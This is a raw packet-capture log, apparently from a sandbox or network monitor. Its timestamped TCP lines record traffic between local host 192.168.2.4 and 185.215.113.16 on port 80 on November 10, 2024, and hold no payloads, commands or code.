Nov 10, 2024 19:44:29.031732082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031748056 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031754017 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031764030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031770945 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031780958 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031797886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031802893 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031816959 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031827927 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031836033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031850100 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031862974 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.031868935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031881094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.031907082 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032483101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032526970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032538891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032551050 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032572031 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032639980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032649040 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032668114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032676935 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032702923 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032718897 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032728910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032747030 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032753944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032768011 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032776117 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032783985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032798052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.032809973 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.032825947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.076591015 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.076683998 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.076694012 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.076698065 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.076834917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110261917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110271931 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110290051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110348940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110358953 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110378027 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110388041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110436916 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110456944 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110479116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110488892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110506058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110515118 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110522032 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110541105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110551119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110559940 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110568047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110584021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110591888 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110605001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110618114 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110625029 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110635042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110642910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.110651016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.110671043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.142539978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142566919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142575979 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142633915 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.142668962 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.142678022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142694950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142709017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142721891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142729998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.142745972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.142764091 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.142774105 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.144999981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145023108 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145031929 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145081997 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145140886 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145150900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145172119 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145180941 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145204067 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145212889 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145256042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145268917 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145287037 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145298004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145308971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145318985 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145335913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145536900 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145546913 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145564079 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145585060 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145617008 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145637035 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145675898 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145685911 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145714998 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145744085 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145778894 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145788908 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145816088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145823956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145838022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145849943 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145857096 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145869017 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145879030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145888090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.145905018 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.145931005 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.146780968 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.146840096 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.146850109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.146888971 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.146908045 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.146966934 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.146975994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147000074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147015095 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147023916 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147033930 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147042036 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147067070 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147088051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147095919 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147126913 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147252083 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147264004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147310019 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147334099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147344112 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147361994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147368908 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147382975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147396088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147401094 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147417068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147420883 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147433043 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147444010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147453070 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147468090 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147475004 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147509098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147562981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147574902 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147599936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147607088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147615910 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147623062 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147634983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147641897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147649050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147674084 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147681952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147691965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147701025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147707939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147718906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147735119 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147761106 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147766113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147773981 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147790909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147799969 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147809982 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147825956 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147850037 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.147975922 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.147985935 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148004055 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148014069 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148022890 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148031950 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148049116 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148066044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148082018 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148092031 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148111105 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148128033 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148156881 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148169994 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148199081 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148205042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148227930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148242950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148252010 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148272038 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148278952 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148297071 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148313046 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148355007 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148365021 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148386955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148407936 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148514032 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148524046 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148535967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148551941 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148559093 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148576975 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148591042 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148600101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148607016 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148622036 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148633003 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148642063 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148653984 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148660898 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148674011 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148688078 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148694038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148701906 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148720980 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148731947 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148737907 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148752928 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148761034 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148772001 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148787022 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148791075 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148802042 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148814917 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148822069 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148830891 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148838043 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148849964 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148859978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148866892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148879051 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148885965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148906946 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148915052 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148925066 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148946047 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148951054 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148961067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.148983955 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.148999929 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149004936 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149014950 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149032116 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149040937 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149049044 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149060965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149077892 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149096012 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149501085 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149552107 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149573088 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149583101 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149610996 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149624109 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149633884 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149651051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149657965 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149667025 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149678946 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149686098 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149714947 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149732113 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149754047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149763107 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149782896 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149791002 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149810076 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149818897 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149830103 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149838924 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149844885 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149858952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149864912 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149894953 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149914026 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149923086 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149944067 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.149949074 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149970055 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.149986982 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.193651915 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.193664074 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.193686962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.193774939 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.193830013 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227377892 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227401972 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227416039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227499962 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227508068 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227520943 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227540970 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227550983 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227565050 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227577925 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227587938 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227601051 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227610111 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227638960 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227689028 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227699041 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227746010 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227762938 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227772951 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227802038 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227808952 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227818966 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227827072 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227838039 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227847099 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227855921 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227869034 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227879047 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227889061 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227897882 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.227907896 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.227932930 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.259629965 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259639978 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259645939 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259689093 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259701967 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259728909 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259766102 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259776115 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259783030 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.259799004 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.259860039 CET	49762	80	192.168.2.4	185.215.113.16
Nov 10, 2024 19:44:29.261993885 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262016058 CET	80	49762	185.215.113.16	192.168.2.4
Nov 10, 2024 19:44:29.262025118 CET	80	49762	185.215.113.16	192.168.2.4
